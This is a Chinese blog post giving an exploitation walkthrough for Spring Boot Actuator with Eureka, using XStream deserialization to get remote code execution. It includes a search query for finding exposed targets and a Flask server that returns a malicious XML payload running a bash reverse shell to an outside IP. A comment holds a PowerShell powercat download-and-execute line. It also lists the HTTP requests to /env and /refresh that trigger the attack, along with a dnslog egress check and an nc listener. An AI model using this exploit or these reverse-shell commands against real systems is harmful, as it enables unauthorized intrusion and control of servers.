Spring Boot Actuator(eureka xstr

2020-06-11  本文已影响0人  migrate_

寻找目标

app="Eureka-Server"

正常访问

http://127.0.0.1:9092/env
1.jpg 2.jpg

利用条件

利用方法(以Linux为例)

  1. 使用python3环境运行下边这个脚本(flsak_eureka.py)架设恶意网站。并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 10:06
# @Author  : j1anFen
# @Site    :
# @File    : run.py


# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                                <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/88.88.88.88/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)
3.jpg 4.jpg

首先证明目标可以出网

http://dnslog.cn/
5.jpg

设置 eureka.client.serviceUrl.defaultZone 属性

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip:2222/xstream
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

首先证明目标可以出网

POST /env HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 60

eureka.client.serviceUrl.defaultZone=http://3q33zc.dnslog.cn
6.jpg

刷新配置

POST /refresh
Content-Type: application/x-www-form-urlencoded
POST /actuator/refresh
Content-Type: application/json
7.jpg 9.jpg

反弹shell

nc -lvvp 3333
10.jpg
python3 flsak_eureka.py
POST /env HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 70

eureka.client.serviceUrl.defaultZone=http://88.88.88.88:2222/xstream
POST /refresh HTTP/1.1
Host: xx.xx.3.48:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: 
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 0


11.jpg 12.jpg

更多spring漏洞请看

https://github.com/LandGrey/SpringBootVulExploit
上一篇下一篇

猜你喜欢

热点阅读